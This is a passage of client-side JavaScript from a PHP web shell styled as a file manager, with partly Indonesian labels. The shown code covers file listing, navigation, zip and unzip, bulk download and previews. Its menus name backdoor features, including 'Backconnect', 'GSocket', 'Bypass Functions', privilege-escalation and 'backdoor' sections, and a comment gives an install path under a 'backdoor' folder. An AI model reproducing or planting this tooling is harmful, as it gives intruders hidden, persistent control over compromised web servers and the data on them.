  if(secPi && !secPi.querySelector('.bi')) secPi.innerHTML = _bi('box-arrow-up-right') + ' PHPInfo';
  $$('.term-prompt-mark').forEach(el=>{ el.innerHTML = _bi('chevron-right'); });
}

const SEC_NAV_BI = {
  recon: 'search',
  sensitive: 'file-earmark-lock-fill',
  processes: 'cpu',
  network: 'diagram-3',
  http: 'link-45deg',
  hash: 'hash',
  codec: 'code-slash',
  dns: 'globe2',
  privesc: 'shield-exclamation',
  backdoor: 'bug',
  fullaudit: 'clipboard-check',
  recent: 'clock-history',
  writable: 'pencil-square',
  hidden: 'eye-slash',
  persistence: 'arrow-repeat',
  cron: 'clock',
  logs: 'journal-text',
  ioc: 'exclamation-triangle',
  process: 'cpu',
};

function _gInjectSecNavIcons(){
  $$('.sec-nav-ico[data-bi]').forEach(ico=>{
    ico.innerHTML = _bi(ico.getAttribute('data-bi'));
  });
  $$('.sec-nav-btn[data-sec]').forEach(btn=>{
    const k = btn.getAttribute('data-sec');
    const ico = btn.querySelector('.sec-nav-ico');
    if(ico && SEC_NAV_BI[k] && !ico.getAttribute('data-bi')) ico.innerHTML = _bi(SEC_NAV_BI[k]);
  });
  $$('.sec-nav-btn[data-blue]').forEach(btn=>{
    const k = btn.getAttribute('data-blue');
    const ico = btn.querySelector('.sec-nav-ico');
    if(ico && SEC_NAV_BI[k] && !ico.getAttribute('data-bi')) ico.innerHTML = _bi(SEC_NAV_BI[k]);
  });
  $$('.sec-callout svg').forEach(el=>{
    el.outerHTML = _bi('info-circle');
  });
}

const MODAL_HEAD_BI = {
  'Kompres ke ZIP': 'file-earmark-zip',
  'Cron Manager': 'clock',
  'Recover File': 'arrow-repeat',
  'Find Writable Dir': 'folder2-open',
  'Mass Copy': 'files',
  'Bypass Functions': 'shield-x',
  'Backconnect': 'plug',
  'GSocket': 'lightning-charge',
  'Port Scanner': 'broadcast',
  'Subdomain / Vhost Hint': 'globe2',
  'Log & History Tail': 'journal-text',
  'MySQL Manager': 'database',
  'Move to Quarantine': 'archive',
  'Keyboard Shortcuts': 'keyboard',
};

function _gInjectModalHeadIcons(){
  $$('.tool-head-ico[data-bi]').forEach(el=>{
    el.innerHTML = _bi(el.getAttribute('data-bi'));
  });
  $$('.modal-head h2').forEach(h2=>{
    const ico = h2.querySelector('.tool-head-ico');
    if(!ico || ico.querySelector('.bi') || ico.getAttribute('data-bi')) return;
    const title = h2.textContent.trim();
    for(const [label, biName] of Object.entries(MODAL_HEAD_BI)){
      if(title.indexOf(label) >= 0 || title === label){
        ico.textContent = '';
        ico.innerHTML = _bi(biName);
        break;
      }
    }
  });
}

const IC = {
  folder: _bi('folder-fill', 'fico'),
  file: _bi('file-earmark', 'fico'),
  php: _bi('filetype-php', 'fico'),
  js: _bi('filetype-js', 'fico'),
  css: _bi('filetype-css', 'fico'),
  html: _bi('filetype-html', 'fico'),
  config: _bi('gear', 'fico'),
  text: _bi('file-earmark-text', 'fico'),
  image: _bi('file-earmark-image', 'fico'),
  archive: _bi('file-earmark-zip', 'fico'),
  database: _bi('database', 'fico'),
};
const _ROW_ICO = {
  open: 'eye',
  rename: 'pencil',
  dl: 'download',
  delete: 'trash',
};
function _rowIco(name){
  const n = _ROW_ICO[name];
  return n ? _bi(n) : '';
}
const ico = t => `<span class="ico-wrap">${IC[t]||IC.file}</span>`;

// ─── Utils ───────────────────────────────────────────────────────
const esc = s => { const d=document.createElement('div'); d.textContent=s; return d.innerHTML };
const fmtBytes = b => {
  if(b==null)return'—';if(b<1024)return b+' B';
  const u=['KB','MB','GB'];let v=b/1024;
  for(const x of u){if(v<1024)return(v>=100?v.toFixed(0):v.toFixed(1))+' '+x;v/=1024}
  return v.toFixed(1)+' TB';
};
const fmtDate = ts => new Date(ts*1000).toLocaleString('en-US',{month:'short',day:'numeric',year:'numeric',hour:'2-digit',minute:'2-digit'});
const fmtRelTime = ts => {
  if(!ts) return '—';
  const now = Date.now()/1000;
  const diff = now - ts;
  if(diff < 5) return 'just now';
  if(diff < 60) return Math.floor(diff)+'s ago';
  if(diff < 3600) return Math.floor(diff/60)+'m ago';
  if(diff < 86400) return Math.floor(diff/3600)+'h ago';
  if(diff < 172800) return 'Yesterday';
  if(diff < 604800) return Math.floor(diff/86400)+'d ago';
  const d = new Date(ts*1000);
  const m = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
  if(diff < 31536000) return m[d.getMonth()]+' '+d.getDate();
  return m[d.getMonth()]+' '+d.getDate()+' \''+String(d.getFullYear()).slice(-2);
};
const getExt = name => {
  if(!name) return '';
  const i = name.lastIndexOf('.');
  return (i>0 && i<name.length-1) ? name.substring(i+1).toUpperCase() : '';
};

function _g33d39f2(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  const owner = +s[0], world = +s[2];
  let cls;
  if(owner & 2){
    cls = (owner & 1) ? 'perm-ok-x' : 'perm-ok';
  } else {
    cls = 'perm-locked';
  }
  return cls;
}
function _g8ff00d3(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  let r = '';
  for(const d of s){
    const n = +d;
    r += (n&4?'r':'-') + (n&2?'w':'-') + (n&1?'x':'-');
  }
  return r;
}
function _ge63a463(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  const owner = +s[0], world = +s[2];
  const writable = !!(owner & 2);
  const exec = !!(owner & 1);
  const pub = !!(world & 2);
  let lbl = writable ? (exec ? 'Writable + executable' : 'Writable') : 'Read-only · locked';
  if(pub) lbl += ' · world-writable';
  return lbl;
}
const joinPath = (a,b) => {
  if(!a) return b;
  if(!b) return a;
  // Handle Windows drive paths
  if(a.match(/^[A-Za-z]:[\/\\]?$/)) {
    return a + '/' + b;
  }
  return a + '/' + b;
};
const itemPath = n => {
    if (!n) return S.path;
    
    // Handle absolute Linux path
    if (S.path && S.path.startsWith('/')) {
        let base = S.path;
        // Ensure base ends with slash for joining
        if (!base.endsWith('/')) {
            base = base + '/';
        }
        let joined = base + n;
        // Clean up double slashes
        return joined.replace(/\/+/g, '/');
    }
    
    return joinPath(S.path, n);
};

// ─── API ─────────────────────────────────────────────────────────
async function api(action,data={},isForm=false){
  const opts={method:'POST',credentials:'same-origin'};
  if(isForm){opts.body=data}else{opts.headers={'Content-Type':'application/json'};opts.body=JSON.stringify({action,...data});}
  let r;
  try{
    r=await fetch(API,opts);
  }catch(e){
    return {ok:false,error:'Network failed: '+(e&&e.message?e.message:'fetch error')};
  }
  if(r.status===401){
    location.reload();
    return {ok:false,error:'Unauthorized',auth_required:true};
  }
  const text=await r.text();
  let dataJson=null;
  try{
    dataJson=text?JSON.parse(text):null;
  }catch(e){
    const snippet=(text||'').replace(/\s+/g,' ').slice(0,180);
    return {ok:false,error:'Invalid JSON (HTTP '+r.status+')'+(snippet?': '+snippet:'')};
  }
  if(!dataJson || typeof dataJson!=='object'){
    return {ok:false,error:'Empty response (HTTP '+r.status+')'};
  }
  return dataJson;
}

// ─── Toast ───────────────────────────────────────────────────────
function _g41a44e9(msg,type='ok'){
  const el=document.createElement('div');
  el.className='toast '+(type==='error'?'err':'ok');
  el.innerHTML=`<div class="t-dot"></div>${esc(msg)}`;
  $('#toasts').appendChild(el);
  setTimeout(()=>{
    el.style.transition='opacity .25s, transform .25s';
    el.style.opacity='0'; el.style.transform='translateX(20px)';
    setTimeout(()=>el.remove(),260);
  },3000);
}

// ─── Modal ───────────────────────────────────────────────────────
const openM  = id => $(id).classList.add('open');
const closeM = id => $(id).classList.remove('open');
const closeAll = () => {
  if(typeof stopLogFollow==='function') stopLogFollow();
  $$('.overlay.open').forEach(m=>m.classList.remove('open'));
};
$$('.mc').forEach(b=>b.addEventListener('click',closeAll));
$$('.overlay').forEach(o=>o.addEventListener('click',e=>{if(e.target===o)closeAll()}));

// ─── Breadcrumb ──────────────────────────────────────────────────
// Mengubah path apa pun (kosong, relatif, atau absolute) menjadi
// path absolute lengkap untuk ditampilkan di breadcrumb. Contoh:
//   ''                  -> 'C:/laragon/www/backdoor'
//   'subfolder'         -> 'C:/laragon/www/backdoor/subfolder'
//   'C:/Windows'        -> 'C:/Windows'
//   '/var/www'          -> '/var/www'
function _gbd651e8(path){
    const baseNormalized = BASE.replace(/\\/g, '/').replace(/\/+$/, '');
    if (!path) return baseNormalized;
    const isWin = /^[A-Za-z]:/.test(path);
    const isLin = path.startsWith('/');
    if (isWin || isLin) return path;
    // Path relatif → gabungkan dengan BASE
    return baseNormalized + '/' + path.replace(/^\/+/, '');
}

function _g8e26e85(){
    const bc = $('#breadcrumb');
    bc.innerHTML = '';

    // Selalu render breadcrumb sebagai path absolute lengkap
    let currentPath = _gbd651e8(S.path || '');

    // ── Windows absolute path (C:/laragon/www/backdoor) ──────────
    if (/^[A-Za-z]:/.test(currentPath)) {
        currentPath = currentPath.replace(/\\/g, '/');
        if (!/^[A-Za-z]:\//.test(currentPath)) {
            currentPath = currentPath.charAt(0) + ':/' + currentPath.substring(2);
        }

        const drive = currentPath.charAt(0) + ':';
        let pathAfterDrive = currentPath.substring(2).replace(/^\/+/, '').replace(/\/+$/, '');
        const segments = pathAfterDrive ? pathAfterDrive.split('/').filter(p => p !== '') : [];

        // Tombol drive (C:)
        const driveBtn = document.createElement('button');
        driveBtn.className = 'bc-btn' + (segments.length === 0 ? ' bc-cur' : '');
        driveBtn.textContent = drive;
        driveBtn.title = drive + '/';
        driveBtn.onclick = () => navigate(drive + '/');
        bc.appendChild(driveBtn);

        _g24bc753(bc, segments, drive, true);
    }
    // ── Linux absolute path (/var/www/html) ──────────────────────
    else if (currentPath.startsWith('/')) {
        let cleanPath = currentPath;
        if (cleanPath !== '/' && cleanPath.endsWith('/')) cleanPath = cleanPath.slice(0, -1);
        const segments = cleanPath.split('/').filter(s => s !== '');

        const rootBtn = document.createElement('button');
        rootBtn.className = 'bc-btn' + (segments.length === 0 ? ' bc-cur' : '');
        rootBtn.textContent = '/';
        rootBtn.title = '/';
        rootBtn.onclick = () => navigate('/');
        bc.appendChild(rootBtn);

        _g24bc753(bc, segments, '', false);
    }

    // ── Up button visibility ─────────────────────────────────────
    let showUp = false;
    if (/^[A-Za-z]:/.test(currentPath)) {
        const afterDrive = currentPath.substring(2).replace(/^\/+/, '').replace(/\/+$/, '');
        showUp = afterDrive !== '';
    } else if (currentPath.startsWith('/')) {
        showUp = currentPath.replace(/\/+$/, '') !== '';
    }
    $('#btnUp').style.visibility = showUp ? 'visible' : 'hidden';
}

// Helper function to escape HTML
function _g6cf2446(text) {
    if (!text) return '';
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// ─── Render ──────────────────────────────────────────────────────
const SORT_ARROW = '<svg class="th-arrow" viewBox="0 0 12 12"><path d="M6 9 2 4h8z"/></svg>';
function _gfa01a7a(col, label){
  const active = S.sortCol === col;
  return `<span class="th-sort${active?' active':''}${active && S.sortDir==='desc'?' desc':''}" data-sort="${col}">${label}${SORT_ARROW}</span>`;
}

function _g6a69c1a(){
  const panel=$('#panel');
  const filtered = _gfilteredEntries();
  panel.classList.toggle('no-stagger', filtered.length > 100);
  if(!filtered.length){
    const anyEntries = S.entries.length > 0;
    panel.innerHTML=`<div class="empty"><div class="empty-ico"><svg viewBox="0 0 24 24"><path d="M3 5a2 2 0 0 1 2-2h4.17a2 2 0 0 1 1.41.59L12 5h7a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z" fill="currentColor"/></svg></div><h3>${anyEntries ? 'Tidak ada item cocok filter' : 'Folder kosong'}</h3><p>${anyEntries ? 'Ubah filter atau tampilkan file tersembunyi' : 'Letakkan file di sini atau buat baru'}</p><div class="empty-actions"><button class="btn btn-primary" onclick="_gceda862('file')">File Baru</button><button class="btn btn-ghost" onclick="_gceda862('folder')">Folder Baru</button><button class="btn btn-ghost" onclick="openM('#mUpload')">Upload</button></div></div>`;
    _g8741074();
    _gDetailPaneUpdate();
    return;
  }
  const sorted = _g57ab552(filtered);
  if(S.view==='grid'){
    panel.innerHTML='<div class="grid-wrap">'+sorted.map((e,i)=>{
      const p=itemPath(e.name);
      const ext = !e.is_dir ? getExt(e.name) : '';
      const selCls = S.selected.has(p) ? ' sel' : '';
      const { badges, recentCls, isImg } = _g03d5197(e);
      const thumb = isImg ? `<img class="gthumb" src="?view=${encodeURIComponent(p)}" alt="" loading="lazy">` : '';
      const thumbCls = isImg ? ' has-thumb' : '';
      return `<div class="gcard${selCls}${thumbCls}${recentCls}" style="--i:${i}" data-icon="${e.icon}" data-path="${esc(p)}" data-dir="${e.is_dir}" data-name="${esc(e.name)}" data-ed="${e.editable}" data-perm="${e.perm||''}" data-idx="${i}">
        ${thumb}${ico(e.icon)}<div class="gname">${esc(e.name)}${badges}</div><div class="gsize">${e.is_dir?'Folder':fmtBytes(e.size)}${ext?` <span class="gext">${ext}</span>`:''}</div></div>`;
    }).join('')+'</div>';
    _g36566bf();
    _g8741074();
    _gDetailPaneUpdate();
    return;
  }
  const allSelected = sorted.length>0 && sorted.every(e => S.selected.has(itemPath(e.name)));
  const headChk = `<div class="chk-cell"><div class="chk-box${allSelected?' on':''}" id="chkAll" title="Pilih semua"></div></div>`;
  const head = `<div class="tbl-head">
${headChk}
${_gfa01a7a('name','Nama')}
${_gfa01a7a('size','Ukuran')}
${_gfa01a7a('perm','Izin')}
${_gfa01a7a('modified','Diubah')}
<span style="text-align:right;padding-right:4px">Aksi</span>
</div>`;

  panel.innerHTML = head + `<ul class="flist">`+sorted.map((e,i)=>{
    const p=itemPath(e.name);
    const ext = !e.is_dir ? getExt(e.name) : '';
    const chip = ext ? `<span class="fname-chip">${ext}</span>` : '';
    const selCls = S.selected.has(p) ? ' sel' : '';
    const chkCls = S.selected.has(p) ? ' on' : '';
    const dateAbs = fmtDate(e.modified);
    const dateRel = fmtRelTime(e.modified);
    const { badges, recentCls } = _g03d5197(e);
    return `<li class="frow${selCls}${recentCls}" style="--i:${i}" data-icon="${e.icon}" data-path="${esc(p)}" data-dir="${e.is_dir}" data-name="${esc(e.name)}" data-ed="${e.editable}" data-perm="${e.perm||''}" data-idx="${i}">
<div class="chk-cell"><div class="chk-box${chkCls}" data-path="${esc(p)}"></div></div>
<div class="fname-cell"><div class="ico-wrap">${IC[e.icon]||IC.file}</div><div class="fname-text"><span class="fname">${esc(e.name)}</span>${chip}${badges}</div></div>
<span class="fmeta">${e.is_dir?'—':fmtBytes(e.size)}</span>
<span class="fmeta"><span class="perm ${_g33d39f2(e.perm)}" data-a="chmod" title="${e.perm||'—'}${_g8ff00d3(e.perm)?' · '+_g8ff00d3(e.perm):''}${_ge63a463(e.perm)?' · '+_ge63a463(e.perm):''}">${e.perm||'—'}</span></span>
<span class="fmeta" title="${dateAbs}">${dateRel}</span>
<div class="row-acts">
  <button class="ico-btn" data-a="open" title="Buka">${_rowIco('open')}</button>
  <button class="ico-btn" data-a="rename" title="Rename">${_rowIco('rename')}</button>
  <button class="ico-btn" data-a="dl" title="Unduh">${_rowIco('dl')}</button>
  <button class="ico-btn del" data-a="delete" title="Hapus">${_rowIco('delete')}</button>
</div></li>`;
  }).join('')+'</ul>';
  _ge98113a();
  _g375b865(sorted);
  _g8741074();
  _gDetailPaneUpdate();
}

function _g375b865(sorted){
  $('#panel').querySelectorAll('.th-sort').forEach(s=>{
    s.onclick = ()=> _g2ff7afa(s.dataset.sort);
  });
  const chkAll = $('#chkAll');
  if(chkAll){
    chkAll.onclick = e => {
      e.stopPropagation();
      const all = !chkAll.classList.contains('on');
      sorted.forEach(en => {
        const p = itemPath(en.name);
        if(all) S.selected.add(p); else S.selected.delete(p);
      });
      $('#panel').querySelectorAll('.frow').forEach(r=>{
        const on = S.selected.has(r.dataset.path);
        r.classList.toggle('sel', on);
        r.querySelector('.chk-box').classList.toggle('on', on);
      });
      chkAll.classList.toggle('on', all);
      _g8741074();
    };
  }
}

function _g3b9a209(row, on){
  row.classList.toggle('sel', on);
  const box = row.querySelector('.chk-box');
  if(box) box.classList.toggle('on', on);
  if(on) S.selected.add(row.dataset.path);
  else   S.selected.delete(row.dataset.path);
  _gDetailPaneUpdate();
}
function _g0cdf3c2(fromIdx, toIdx, on){
  const rows = [...$('#panel').querySelectorAll('.frow')];
  const a = Math.min(fromIdx,toIdx), b = Math.max(fromIdx,toIdx);
  for(let i=a; i<=b; i++) if(rows[i]) _g3b9a209(rows[i], on);
}

function _ge98113a(){
  $('#panel').querySelectorAll('.frow').forEach(row=>{
    row.querySelector('.fname-cell').onclick=ev=>{
      if(ev.metaKey || ev.ctrlKey || ev.shiftKey) return;
      _g6e4bd74(row.dataset.path,row.dataset.dir==='true',row.dataset.ed==='true');
    };
    const box=row.querySelector('.chk-box');
    box.onclick=e=>{
      e.stopPropagation();
      const idx = +row.dataset.idx;
      const on = !box.classList.contains('on');
      if(e.shiftKey && S.lastClickIdx >= 0){
        _g0cdf3c2(S.lastClickIdx, idx, on);
      } else {
        _g3b9a209(row, on);
      }
      S.lastClickIdx = idx;
      const chkAll = $('#chkAll');
      if(chkAll){
        const rows = [...$('#panel').querySelectorAll('.frow')];
        chkAll.classList.toggle('on', rows.every(r=>r.classList.contains('sel')));
      }
      _g8741074();
    };
    row.oncontextmenu=e=>{e.preventDefault();_gde3bca7(e,row.dataset.path,row.dataset.dir==='true',row.dataset.name,row.dataset.ed==='true',row.dataset.perm)};
    row.querySelectorAll('[data-a]').forEach(b=>b.onclick=e=>{e.stopPropagation();_g93cb894(b.dataset.a,row.dataset.path,row.dataset.dir==='true',row.dataset.name,row.dataset.ed==='true',row.dataset.perm)});
  });
}
function _g36566bf(){
  $('#panel').querySelectorAll('.gcard').forEach(c=>{
    c.onclick=ev=>{
      if(ev.metaKey || ev.ctrlKey){
        ev.preventDefault();
        const on = !c.classList.contains('sel');
        c.classList.toggle('sel', on);
        if(on) S.selected.add(c.dataset.path);
        else   S.selected.delete(c.dataset.path);
        _g8741074();
        _gDetailPaneUpdate();
        return;
      }
      _g6e4bd74(c.dataset.path,c.dataset.dir==='true',c.dataset.ed==='true');
    };
    c.oncontextmenu=e=>{e.preventDefault();_gde3bca7(e,c.dataset.path,c.dataset.dir==='true',c.dataset.name,c.dataset.ed==='true',c.dataset.perm)};
  });
}

function _g8741074(){
  const bar = $('#bulkBar');
  const n = S.selected.size;
  if(bar){
    if(n === 0) bar.classList.remove('show');
    else {
      bar.classList.add('show');
      const cn = $('#bulkCount'); if(cn) cn.textContent = n;
      const sum = $('#bulkSummary');
      if(sum){
        let files = 0, dirs = 0;
        S.selected.forEach(p=>{
          const en = S.entries.find(x=>itemPath(x.name)===p);
          if(en && en.is_dir) dirs++; else files++;
        });
        const parts = [];
        if(files) parts.push(files+' file'+(files!==1?'s':''));
        if(dirs) parts.push(dirs+' folder'+(dirs!==1?'s':''));
        sum.textContent = parts.join(', ');
      }
    }
  }
  const sbDel = $('#sbDelSel');
  if(sbDel){
    if(n === 0) sbDel.setAttribute('aria-disabled','true');
    else sbDel.removeAttribute('aria-disabled');
  }
  const stSel = $('#stSel');
  if(stSel){
    if(n === 0){ stSel.textContent = ''; }
    else {
      let bytes = 0;
      S.selected.forEach(p=>{
        const en = S.entries.find(x=> itemPath(x.name) === p);
        if(en && !en.is_dir) bytes += (en.size||0);
      });
      stSel.innerHTML = `<strong>${n}</strong> dipilih · ${fmtBytes(bytes)}`;
    }
  }
}
async function bulkDownload(){
  if(!S.selected.size) return;
  for(const p of S.selected){
    const a = document.createElement('a');
    a.href = '?download=' + encodeURIComponent(p);
    a.download = '';
    document.body.appendChild(a); a.click(); a.remove();
    await new Promise(r=>setTimeout(r,300));
  }
}
function _g2f51fb0(){
  S.selected.clear();
  $('#panel').querySelectorAll('.frow.sel, .gcard.sel').forEach(r=>{
    r.classList.remove('sel');
    const b = r.querySelector('.chk-box'); if(b) b.classList.remove('on');
  });
  const ca = $('#chkAll'); if(ca) ca.classList.remove('on');
  _g8741074();
  _gDetailPaneUpdate();
}

function _g4b31ca5(name){
  return /\.zip$/i.test(name || '');
}

function _g3e53393(){
  const btn = $('#bulkPaste');
  if(btn) btn.disabled = !(S.clipboard && S.clipboard.paths && S.clipboard.paths.length);
}

function _gd8170b9(paths){
  if(!paths || !paths.length) return _g41a44e9('Nothing selected','error');
  S.clipboard = { mode:'copy', paths: paths.slice() };
  _g3e53393();
  _g41a44e9(paths.length+' item(s) copied — navigate & paste','ok');
}

function _g7a521f0(paths){
  if(!paths || !paths.length) return _g41a44e9('Nothing selected','error');
  S.clipboard = { mode:'cut', paths: paths.slice() };
  _g3e53393();
  _g41a44e9(paths.length+' item(s) cut','ok');
}

async function clipPaste(destPath){
  if(!S.clipboard || !S.clipboard.paths.length) return _g41a44e9('Clipboard empty','error');
  const dest = destPath != null && destPath !== '' ? destPath : S.path;
  const action = S.clipboard.mode === 'cut' ? 'move' : 'copy';
  const d = await api(action, { paths: S.clipboard.paths, dest });
  if(!d.ok) return _g41a44e9(d.error || (d.failed && d.failed[0] && d.failed[0].error) || 'Failed','error');
  if(action === 'move' && S.clipboard && d.moved && d.moved.length) {
    const movedSet = new Set(d.moved.map(m => m.from));
    S.clipboard.paths = S.clipboard.paths.filter(p => !movedSet.has(p));
    if(!S.clipboard.paths.length) S.clipboard = null;
  }
  _g3e53393();
  const failNote = d.failed && d.failed.length ? ' · '+d.failed.length+' failed' : '';
  _g41a44e9((d.count||0)+' item(s) '+(action==='move'?'moved':'copied')+failNote, d.failed&&d.failed.length?'error':'ok');
  navigate(dest);
}

function _ge3f59ef(mode, paths){
  if(!paths || !paths.length) return _g41a44e9('Nothing selected','error');
  S.transferMode = mode;
  S.transferPaths = paths.slice();
  const isMove = mode === 'move';
  $('#transferTitle').textContent = isMove ? 'Move to folder' : 'Copy to folder';
  $('#transferMsg').textContent = S.transferPaths.length+' item(s) will be '+(isMove?'moved':'copied')+' to:';
  $('#transferDest').value = _gbd651e8(S.path || '');
  $('#transferOk').textContent = isMove ? 'Move' : 'Copy';
  openM('#mTransfer');
  setTimeout(()=>{ const el=$('#transferDest'); if(el){ el.focus(); el.select(); } }, 120);
}

async function executeTransfer(){
  const dest = $('#transferDest').value.trim();
  if(!dest) return _g41a44e9('Enter destination folder','error');
  const action = S.transferMode === 'move' ? 'move' : 'copy';
  const d = await api(action, { paths: S.transferPaths, dest });
  if(!d.ok) return _g41a44e9(d.error || (d.failed && d.failed[0] && d.failed[0].error) || 'Failed','error');
  closeAll();
  if(S.transferMode === 'move' && S.clipboard){
    S.clipboard = null;
    _g3e53393();
  }
  const failNote = d.failed && d.failed.length ? ' · '+d.failed.length+' failed' : '';
  _g41a44e9((d.count||0)+' item(s) '+(action==='move'?'moved':'copied')+failNote, d.failed&&d.failed.length?'error':'ok');
  navigate(dest);
}

function _g8f3b06c(paths){
  if(paths.length === 1){
    const n = paths[0].split(/[\/\\]/).pop() || 'archive';
    const base = n.replace(/\.[^.]+$/, '');
    return base + '.zip';
  }
  const d = new Date();
  const pad = x => String(x).padStart(2,'0');
  return 'archive-'+d.getFullYear()+pad(d.getMonth()+1)+pad(d.getDate())+'-'+pad(d.getHours())+pad(d.getMinutes())+'.zip';
}

function _gcbe8d0c(paths){
  if(!paths || !paths.length) return _g41a44e9('Nothing selected','error');
  S.transferPaths = paths.slice();
  $('#zipMsg').textContent = 'Compress '+paths.length+' item(s) into a ZIP archive.';
  $('#zipName').value = _g8f3b06c(paths);
  $('#zipDest').value = _gbd651e8(S.path || '');
  openM('#mZip');
  setTimeout(()=>{ const el=$('#zipName'); if(el){ el.focus(); el.select(); } }, 120);
}

async function executeZip(){
  let name = ($('#zipName').value || '').trim();
  if(name && !/\.zip$/i.test(name)) name += '.zip';
  const dest = ($('#zipDest').value || '').trim() || S.path;
  const d = await api('zip', { paths: S.transferPaths, dest, name });
  if(!d.ok) return _g41a44e9(d.error || 'Zip failed','error');
  closeAll();
  const failNote = d.failed && d.failed.length ? ' · '+d.failed.length+' skipped' : '';
  _g41a44e9('Created '+d.zip+failNote,'ok');
  navigate(dest);
}

async function extractZip(path) {
  const name = path.split(/[\/\\]/).pop();
  
  // 1. Tambahkan await jika toAbsolutePath mengambil data secara async
  const absolutePath = await _gbd651e8(S.path || ''); 
  
  if (!confirm('Extract "' + name + '" to current folder?\n\n' + absolutePath)) return;
  
  // 2. Memastikan api unzip ditunggu prosesnya
  const d = await api('unzip', { path, dest: S.path });
  
  if (!d.ok) return _g41a44e9(d.error || 'Extract failed', 'error');
  
  _g41a44e9('Extracted ' + (d.count || 0) + ' entries', 'ok');
  
  // 3. Tambahkan await jika navigate memuat ulang halaman/data secara async
  await navigate(S.path); 
}

const IMG_EXT = ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'];
function _g7db14c6(name){
  const ext = (name.split('.').pop() || '').toLowerCase();
  return IMG_EXT.includes(ext);
}

function _g6e4bd74(path,isDir,editable){
  if(isDir){navigate(path);return}
  const name = path.split(/[\/\\]/).pop();
  if(_g7db14c6(name)) return openImagePreview(path);
  if(editable) return openEditor(path);
  // Untuk file binary lain → langsung download
  window.location='?download='+encodeURIComponent(path);
}
function _g93cb894(act,path,isDir,name,editable,perm){
  if(act==='open')return _g6e4bd74(path,isDir,editable);
  if(act==='rename')return _g2499ec4(path,name);
  if(act==='dl'&&!isDir)return window.location='?download='+encodeURIComponent(path);
  if(act==='delete')return _g37a9f77(path,name,isDir);
  if(act==='chmod')return _g8402a3f(path,perm);
  if(act==='copy')return _gd8170b9([path]);
  if(act==='cut')return _g7a521f0([path]);
  if(act==='zip')return _gcbe8d0c([path]);
  if(act==='unzip')return extractZip(path);
}

// ─── Image Preview ───────────────────────────────────────────────
let ipCurrentPath = null;
let ipTextLoaded = false;

async function openImagePreview(path){
  ipCurrentPath = path;
  ipTextLoaded = false;
  const name = path.split(/[\/\\]/).pop();
  $('#ipTitle').textContent = name;
  $('#ipPath').textContent = path;
  $('#ipMeta').textContent = '';
  $('#ipImgInfo').textContent = '';
  $('#ipImg').src = '';
  $('#ipTextContent').textContent = 'Click "Text" tab to load raw bytes…';
  _gb2898e0('image');
  openM('#mImagePreview');

  const url = '?view=' + encodeURIComponent(path);
  $('#ipImg').src = url;
  $('#ipDownload').href = '?download=' + encodeURIComponent(path);

  $('#ipImg').onload = () => {
    const img = $('#ipImg');
    $('#ipImgInfo').textContent = img.naturalWidth + ' × ' + img.naturalHeight + ' px';
  };
  $('#ipImg').onerror = () => {
    $('#ipImgInfo').textContent = 'Failed to load image';
  };

  // Fetch metadata via API for size/modified
  try {
    const meta = await api('list', { path: path.replace(/[\/\\][^\/\\]*$/, '') || '' });
    if (meta.ok) {
      const entry = (meta.entries || []).find(e => e.name === name);
      if (entry) $('#ipMeta').textContent = fmtBytes(entry.size) + ' · ' + fmtDate(entry.modified);
    }
  } catch(e){}
}

function _gb2898e0(tab){
  $$('#mImagePreview .ip-tab').forEach(b => b.classList.toggle('active', b.dataset.tab === tab));
  $('#ipImagePane').classList.toggle('hidden', tab !== 'image');
  $('#ipTextPane').classList.toggle('hidden', tab !== 'text');
  if (tab === 'text' && !ipTextLoaded && ipCurrentPath) {
    loadFileAsText(ipCurrentPath);
  }
}

async function loadFileAsText(path){
  ipTextLoaded = true;
  const pre = $('#ipTextContent');
  pre.textContent = 'Loading…';
  try {
    const res = await fetch('?view=' + encodeURIComponent(path));
    if (!res.ok) throw new Error('HTTP ' + res.status);
    const blob = await res.blob();
    if (blob.size > 2 * 1024 * 1024) {
      pre.textContent = 'File too large for text view (' + fmtBytes(blob.size) + ')\n\nUse Download to inspect.';
      return;
    }
    const txt = await blob.text();
    pre.textContent = txt;
  } catch(e){
    pre.textContent = 'Error loading file: ' + e.message;
  }
}

// Wire image preview tabs
document.addEventListener('click', e => {
  const tabBtn = e.target.closest('#mImagePreview .ip-tab');
  if (tabBtn) _gb2898e0(tabBtn.dataset.tab);
});

// Keep path readable in address bar: /filemanager.php?path=/home/... (not %2F)
function _g8803005(p){
  return String(p || '')
    .replace(/\\/g, '/')
    .replace(/%/g, '%25')
    .replace(/#/g, '%23')
    .replace(/&/g, '%26')
    .replace(/\?/g, '%3F')
    .replace(/ /g, '%20')
    .replace(/\+/g, '%2B');
}
function _g35b319b(){
  const m = String(location.search || '').match(/[?&]path=([^&]*)/);
  if(!m) return '';
  try { return decodeURIComponent(m[1].replace(/\+/g, ' ')); }
  catch(e){ return m[1]; }
}

// ─── Navigate ────────────────────────────────────────────────────
async function navigate(path){
    let apiPath = path;
    
    if (path && typeof path === 'string') {
        // Handle Windows path
        if (path.match(/^[A-Za-z]:/)) {
            apiPath = path.replace(/\\/g, '/');
            apiPath = apiPath.replace(/\/+/g, '/');
            apiPath = apiPath.replace(/^([A-Za-z]:)\/*/, '$1/');
            if (apiPath !== '/' && apiPath.endsWith('/')) {
                // Keep trailing slash for directories
            }
        }
        // Handle Linux path
        else if (path.startsWith('/')) {
            apiPath = path.replace(/\/+/g, '/');
        }
    }
    
    console.log('Navigating to:', apiPath);
    S.path = apiPath;
    S.selected.clear();
    S.lastClickIdx = -1;
    _g8741074();
    
    // Update URL — keep "/" readable (no encodeURIComponent on whole path)
    if (apiPath) {
      history.replaceState(null, '', '?path=' + _g8803005(apiPath));
    } else {
      history.replaceState(null, '', location.pathname);
    }
    
    _g8e26e85();
    if (typeof syncTermCwd === 'function') _g104e4dc();
    _gf157113();
    _gRecentPush(apiPath);
    
    try{
        const d = await api('list', {path: apiPath});
        if(!d.ok) throw new Error(d.error);
        S.entries = d.entries;
        _g6a69c1a();
        _gc6ecd70(d);
    }catch(e){ 
